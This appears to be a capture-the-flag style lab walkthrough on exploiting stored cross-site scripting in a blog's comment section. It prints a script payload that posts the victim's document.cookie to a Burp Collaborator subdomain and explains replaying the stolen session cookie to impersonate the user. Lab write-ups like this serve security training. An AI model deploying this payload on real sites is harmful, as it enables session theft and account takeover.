Introduction to Exploiting cross-site scripting to steal cookies

Exploiting Cross-Site Scripting to steal cookies is a web security attack where an attacker exploits a vulnerability to steal user cookies. Cookies are small pieces of data stored on a user’s browser, and attackers can use this vulnerability to impersonate users or gain unauthorized access. To mitigate XSS attacks, web developers must implement robust input validation and output encoding techniques. Users can protect themselves by being cautious when clicking suspicious links, keeping browsers and plugins up to date, using security-enhancing browser extensions, and regularly clearing cookies. Prioritizing web security, implementing secure coding practices, and staying informed about emerging threats can significantly reduce the risk of XSS attacks and sensitive cookie theft.

Lab Solutions | Practical Work Time Exploiting Cross-Site Scripting to Steal Cookies

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.

Stepwise Solution of the lab:-

After accessing the lab, You can see there are lots of posts. Right? Have a look.

Without further ado. I’m clicking on any random post.

After clicking on a post/blog. I scrolled down directly to see the functionality or comment section whatever you say.

In this lab, we are using Burp Collaborator to put its subdomain in the payload. [Note: For that, I’m using Burp Suite Professional Version]

Here we go, Now I will post the comment, and let’s check on Collaborator what will happen. [Payload attached below, you can simply copy and put the subdomain from Burp Collaorator]

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

The main motive was to steal the cookie, Right? Here we found it so copy this on notepad. [ I highlighted what’s to copy if you haven’t noticed yet, then let me tell you it’s after the ‘session=’, so copy that one. ]

Now we came back to the browser and reload it. Then we got the prompt from Burp Suite Proxy to forward the request. As we copied the cookie/session from the collaborator, Basically not ‘copy’ it was stealing so, hope you guys understand what I’m trying to say. Then we pasted it to the exact point “session=”. After putting the cookie we forward the request. And let’s see what will happen. For that we have to give a look on browser.

After the loading, see we successfully solved the lab. I hope you got all the point and the step to solve this lab.

I hope you had loved reading this article after you had completed this article we highly recommend you to study the next article: Exploiting cross-site scripting to capture passwords, please don’t forget to leave a comment over here and share it with your friends as well, Good Luck!

Thank you for reading, if this article really helps you then do share it with your mates.
And follow @masaudsec on Twitter.

FAQS